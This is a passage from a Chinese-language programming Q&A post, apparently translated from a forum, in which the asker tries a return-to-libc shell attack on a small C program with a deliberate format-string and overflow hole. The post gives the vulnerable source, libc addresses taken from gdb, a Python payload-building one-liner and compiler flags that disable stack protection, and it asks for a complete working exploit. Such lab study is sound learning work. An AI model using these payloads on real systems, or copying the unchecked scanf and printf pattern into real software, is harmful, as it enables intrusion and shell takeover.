【发布时间】:2018-04-03 01:24:17
【问题描述】:
我正在尝试使用格式字符串攻击向量对以下代码实施 return-to-libc 攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
我已经在gdb 中使用p system 命令找出了system() 的地址。通过使用x/500s $esp 检查堆栈帧,我发现了包含\bin\sh 的环境变量地址。
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
有了这些东西,我构造了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
其中0xffffcdbc - 0x4 是包含系统地址0xf7e2cda0 值的本地地址。
我使用gcc -m32 -fno-stack-protector -o sh sh.c 编译程序并使用gdb sh 运行它。执行后,输入r<inp,我得到以下输出
如上所示,显示了一些错误命令,我只有在再次运行 r 命令后才能进入 shell。有人可以解释一下我在这里缺少什么以便我直接进入 shell 吗?
另外,当我通过偏移 gdb 地址尝试在没有 gdb 的情况下(./sh < inp)执行上面的程序时,我得到一个分段错误错误。我假设一旦上述修复得到纠正,就可以解决这个问题。
请给出一个完整的有效漏洞利用来回答 - 大多数在线教程使用argv[1] 来解释类似的问题,但我希望在不使用参数的情况下让漏洞利用工作。
谢谢!
【问题讨论】:
-
如果不能解决上述问题,上述程序的任何有效利用字符串也很有帮助!
-
致那些在没有评论或回复的情况下对我的问题投反对票的人 - 请知道我在发布问题之前花了一些时间,我精心设计了它以确保所有内容看起来都可读。请不要随意投反对票!
-
您期待
/bin/bash或/bin/dash吗? -
我的环境变量位置指向
/bin/bash,但根据我对gdb的理解,它被解释为/bin/dash。无论哪种方式,如果我可以对上述代码进行有效利用,那就太好了 -
好的,你观察到This了吗?
标签: c linux buffer-overflow libc